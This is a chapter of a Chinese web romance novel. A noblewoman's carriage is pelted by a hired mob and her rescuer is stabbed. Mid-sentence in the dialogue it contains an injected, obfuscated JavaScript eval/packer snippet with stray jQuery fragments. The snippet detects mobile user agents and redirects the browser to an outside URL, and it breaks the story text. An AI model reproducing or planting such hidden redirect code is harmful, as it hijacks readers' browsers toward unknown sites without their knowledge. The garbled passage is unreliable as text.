73. 香云纱

作品:《错惹疯批后被他囚了

    崔黛归坐在马车上,整个人都是恍惚的。


    她并不信所谓的回来。


    当年,是她亲手将娘亲埋下。


    埋在边关那个不知名的小镇,那个离穷巷不过百丈远的小山坡上。


    所以,这回来的,是什么?


    崔黛归不知道,她心中一片麻木。


    一半惶恐,一半希冀。


    可还未到家门,马车却突然停下。


    这时,她才听到外边传来的人声,沸沸扬扬,骂声一片。


    一颗牛粪划过车帘,砸在腿上。


    臭味瞬间弥散,崔黛归愣愣坐着,脑中一时想到的,竟不是脏。


    而是这牛粪,是个冬日取暖的好东西。


    老张急切调转车头,“姑娘,前头人多,堵住了!”


    崔黛归恍然回神。


    “他们为何骂我?”崔黛归问,“为何骂我是娼妇?”


    她睁着一双清澈的杏眼,眼中满是疑惑。


    仿佛一个初来人世,不惹尘埃的孩童。


    老张看得心中一酸。


    “姑娘,他们不讲理,咱们去吿官!”


    老张早一日就听到风声,已经同街坊四邻打过几架。


    上京城中,谣传崔黛归同关边月一起,都伺候过裕王。


    都是自甘下贱,杀人放火的毒妇。


    如今只一人获罪,她却仗着侯府逍遥法外,胡作非为。


    甚至大肆购粮发横财,眼看饥民饿死无动于衷。


    如此,惹来民愤。


    崔黛归敛眸笑了笑,“无妨,就在这儿,看他们有多少牛粪可扔!”


    老张一愣,接着又有几块碎石、杂草、泥巴丢了进来。


    崔黛归索性将车帘一扯,站了出来。


    站在马车上往底下一看,俱是些破衣烂衫打着补丁的妇孺老弱。


    “她们给你们多少?”


    崔黛归扬声道:“十个铜板?半斤小麦?还是两个馒头?”


    底下人几乎同时愣住。


    “扔可以,扔完了若叫我再从你们嘴里听见一句骂我的话。”


    崔黛归笑了下,冷声道:“你们今日所得,我会一个不落,抢过来。”


    老张看得目瞪口呆,“......姑娘?”


    这样的事情,崔黛归不用看都明白。


    小时候在边关,她也接过几次这样的“好活计”。


    只是大街小巷多跑几圈,多说几句别人的坏话,谣言传一传,泥巴扔一扔,便能换口饭吃。


    这样轻松简单,甚至称得上不劳而获。


    兜兜转转,如今被当做“好活计”的,竟是自己。


    崔黛归怔怔想着,底下不只是谁吼了一句,接着铺天盖地的泥巴烂野草又砸了上来。


    她正要坐回马车内,安静等他们扔完。


    不料人群中传来骂声,“敢拦我?贱骨头!”


    是一个十来岁的小姑娘,正逆着人群,想往外退去。


    挡了身后人,这才招了咒骂。


    眼看她扑在地上,就要被人群踩踏,崔黛归夺过马鞭,用力一挥打在车厢上。


    鞭声震慑了人群,可小姑娘还是被旁边人一脚踩在了肚子上。


    她捂住肚子弓成一团,疼得发抖。


    下一瞬,人群绕过她,又迅速聚拢。


    对着崔黛归开始了新一轮的投掷。


    仿佛刚才那个小姑娘没有出现过。


    崔黛归面无表情坐回车厢。


    曾经有一次,她脚下不知踩到谁掉的淤泥,只是一滑,手中的碎石便洒了一地。


    本想捡起来,可人群朝着她就是一脚,随后更多的脚踢在身上。


    她的哀嚎淹没在骂声中,没有人听见,也没有人看见。


    接的差事自然没有完成。


    后来,她还是撒了个谎。


    去向那人领馒头时,甚至拉开衣摆,露出青紫一片的后背。


    却也没有多得一个馒头。


    她静静等着,可外头的人群似乎越来越多。


    骂声也越来越密,越来越难听。


    却总有一道声音,刺耳地传入车内。


    “别丢了!别丢了!别骂了!”


    是那个小姑娘的声音。


    脚踩上肚子的那一瞬,她听到过她的哀嚎。


    崔黛归终于烦躁地出了马车,“做什么!”


    “没完没了了?”


    她喝道:“老张,驾车!”


    老张忍很久了,听这话一扬马鞭,不管不顾就往前冲。


    可人群像不要命似的,这一瞬间不仅没让开,反而围得更紧。


    崔黛归在窗边看一眼,终于蹙了眉。


    今日大费周章泼污水堵住她,除了元氏母女,还能是谁?


    正为难,前方却蓦地出现一个身影。


    陆徽之一身白衣,在最外边,艰难往人群里游动。


    想要到马车这边来。


    崔黛归心中一暖,正要喊,却见他目光遥遥望过来,摇了摇头。


    她瞬间反应过来——


    人群躁动,若底下有任何一丝风吹草动,一旦被惊动,随之而来便是踩踏之祸。


    她心中定了定,正要点头让他放心。


    却听陆徽之急急喊了一声:“崔姑娘,小心——”


    因着这一声,崔黛归猛地起身。


    下一刻,车窗外砸来几块碗口大的石头。


    石头擦过崔黛归的额头砸在车厢内壁,发出一声巨响。


    她只觉脑袋嗡鸣一声,眼前一黑,就要晕过去。


    可下一瞬,她猛地拔出金簪,用雕刻如意云纹那一端,朝着自己手臂划去。


    不能晕。


    娘亲回来了,不能晕。


    疼痛骤然袭来,崔黛归攥紧了金簪,毫不犹豫又是一下。


    终于,脑袋完全清醒过来,只有血沿着额头滴下。


    崔黛归这时才后怕起来。


    方才若不是那一声,只怕她就要被那石头砸死。


    老张也吓得脸色煞白。


    车厢在这打砸中开始剧烈晃动。


    而外边,那一声之后,再未听到陆徽之的声音。


    她弯腰踏出车厢,身上立刻挨了无数烂泥。


    “啪”一声,马鞭狠厉地打在人群中。


    崔黛归冷冷握着鞭,半边脸庞被血染红。


    “莫要忘了——”


    “我父亲是安陆候!我姑母是皇贵妃!尔等作为,是要将全家老小通通下狱么!”


    她的声音如一座山压下,所有人为之一静。


    看罢。


    这就是权贵的力量。


    崔黛归垂眸,擦掉遮眼的血,不再多说一句。


    目光在人群中穿梭,终于,找到了那片雪白的衣角。


    他半跪在人群中,身前几个彪形大汉讪讪退散之时,露出了他苍白的脸。


    胸前衣襟被血染透,往旁边晕开。


    崔黛归瞳孔一缩。


    猛地跳下车,人群这一次温驯地像羔羊,她轻而易举到了陆徽之面前。


    他扬起脸,朝着崔黛归笑了下,艰难道:“我来接你回家。”


    崔黛归眼泪霎时落下。


    “别说了,我带你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464076|169783||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看大夫!”


    可陆徽之摇头,崔黛归要去扶他,被他轻轻推开,“会弄脏。”


    老张见状,搀扶他起来。


    崔黛归这才发现不止是胸前那团血色,他的后背,赫然插进一把横刀。


    竟是自后贯穿而来?!


    崔黛归脑中霎时一片空白,不可控地发起抖来。


    “快、快去找大夫......”


    老张拔脚就跑,往最近的医馆冲去。


    行凶的人早已不见踪影,人群见此情形一哄而散。


    原本乌泱泱的道上,只有崔黛归瘫在地上,抱住怀里的陆徽之。


    不,还有那个小姑娘。


    她迟疑着,似乎想要上前,可下一瞬飞速跑开。


    崔黛归紧紧捂住陆徽之流血的伤口,不敢去拔后背的刀。


    她的手发抖,声音却很稳,“这刀改制过,刀刃很薄,很窄,又避开了心肺。没事的,没事的。”


    “没事的,你知道吗?大夫来了就好了。”


    陆徽之只是苍白着脸笑了笑,已经没有力气说话。


    他躺在崔黛归怀里,抬手抚上崔黛归的脸庞,用袖子轻轻拭掉血污。


    然而只是将将挨上脸,他的手骤然落下。


    见崔黛归满脸恐慌,他扯了扯嘴唇,“没......没事的。”


    看到崔黛归衣裳上零星点上血迹,犹如藕粉莲池凭空生出曼珠沙华,刺眼极了。


    他摇摇头,用力笑道:“香云纱难、难做出这颜色,我、我还没找到第二匹呢。”


    崔黛归蓦地想起前世一件小事。


    去岁春分,崔御鸾生辰那日,皇贵妃赐一批衣料。


    蜀锦、苏绣、越州缭绫、轻容纱等,摆在花厅里绚丽夺目,眼花缭乱。


    崔黛归羡慕极了。


    恰逢二皇子邀请崔御鸾踏青,元氏心情极好。


    一眼瞅见立在一旁眼巴巴的崔黛归,便道:“选一匹,赶制一身衣裳,三日后你同鸾儿一起去。”


    崔黛归眼睛一亮。


    她当然知道元氏不过是看她干瘦又黑,想要去衬托崔御鸾罢了。


    不过并不妨碍她白得一匹好料子。


    遂欢欢喜喜看过一圈,那些颜色好的不敢挑,最后停留在褐色的那一匹上。


    黯淡无光,颜色老气。


    是她同阿娘最常穿的颜色,也是仅有的颜色。


    元氏虽不想在二皇子那儿落个苛待庶女的名声,也不会乐见她真的挑上好东西罢。


    她自认有自知之明,岂料元氏讥讽一笑,“还想要香云纱?一块烧焦的炭也想学人穿好的?换一个。”


    口吻很随意,眼神却如同看戏台上不知天高地厚的小丑。


    正厅中围着的一众仆妇和外边请来的几个裁缝,无一不笑出声来。


    恰在这时,顾晏亲自登门退亲的消息也从书房传了来。


    一时之间,崔黛归只觉自己果真是块见不得人的炭。


    又丑又黑没人喜欢,连钻进地缝,都怕脏了地。


    她很快调整好表情,强笑着换了旁边那匹绿色的。


    心中却暗暗记下,那是香云纱。


    后来才知,香云纱名贵,一尺抵千金不为过。


    再后来,每每能出门时,她总是会多留意,绸缎铺里是否有香云纱。


    所以,那一日碧叶欢欢喜喜买来的藕粉色香云纱,是陆徽之寻来的?


    难怪会有这样温婉清丽的颜色。


    “我不要!”


    崔黛归的声音带着深深的惶恐,“春日到了,桃花未看,果酒未酿,你不能死!”